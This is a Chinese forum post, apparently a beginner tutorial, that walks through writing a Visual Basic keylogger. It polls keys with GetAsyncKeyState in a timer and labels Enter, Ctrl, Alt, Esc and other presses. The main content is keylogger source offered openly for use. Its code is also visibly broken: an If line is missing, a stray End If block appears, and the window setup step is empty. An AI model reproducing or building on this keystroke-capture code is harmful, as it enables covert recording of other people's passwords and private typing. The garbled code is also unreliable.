前几天写了一篇键盘记录器,好多人反映看不懂,
对新人没什么用处,所以且这篇我会写的
很详细,再也不像那篇,出了代码什么也没 ^!^
这个程序将会详细的讲解如何记载键盘的每一次输入。
下面介绍的这个程序主要是利用GetAsyncKeyState函数,
使用GetAsyncKeyState可以获得键盘的动作。
GetAsyncKeyState函数根据虚拟键表判断按键的类型。
返回值为一个16位的二进值数,如果被按下则最高位为1,
即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
好了,函数就先介绍这么多,下面开始动手实战了
first,当然是创建窗口了





在时间控件的Timer时间中定义检查按键类型,代码如下:
Dim AddKey
   KeyResult = GetAsyncKeyState(13) '回车键
    If KeyResult = -32767 Then
        AddKey = "[ENTER]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(17) 'Ctrl键
    If KeyResult = -32767 Then
        AddKey = "[CTRL]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(8) '退格键
    If KeyResult = -32767 Then
        AddKey = "[BKSPACE]"
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(9)
    If KeyResult = -32767 Then
        AddKey = "[TAB]"
        GoTo KeyFound
    End If
   
    KeyResult = GetAsyncKeyState(18)
    If KeyResult = -32767 Then
        AddKey = "[ALT]"
        GoTo KeyFound
    End If
   
    KeyResult = GetAsyncKeyState(19)
    If KeyResult = -32767 Then
        AddKey = "[PAUSE]"
        GoTo KeyFound
    End If
   
    KeyResult = GetAsyncKeyState(20)
    If KeyResult = -32767 Then
        AddKey = "[CAPS]"
        GoTo KeyFound
    End If
   
    KeyResult = GetAsyncKeyState(27)

        AddKey = "[ESC]"
        GoTo KeyFound
    End If

        GoTo KeyFound
    End If
   
    KeyResult = GetAsyncKeyState(35)
    If KeyResult = -32767 Then
        AddKey = "[END]"
        GoTo KeyFound
    End If

上面的()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……
由于数目太多,一一列举不方便
现提供Ascii表一份供对照
_blank>http://www.cstudy.cn/repository/ascii/default.htm
下面是其他的事件
Private Sub Timer2_Timer()
TimeOut = 0
End Sub
目的是随时刷新清空
好了,现在就先写这么多了,有问题记得跟帖子哦~
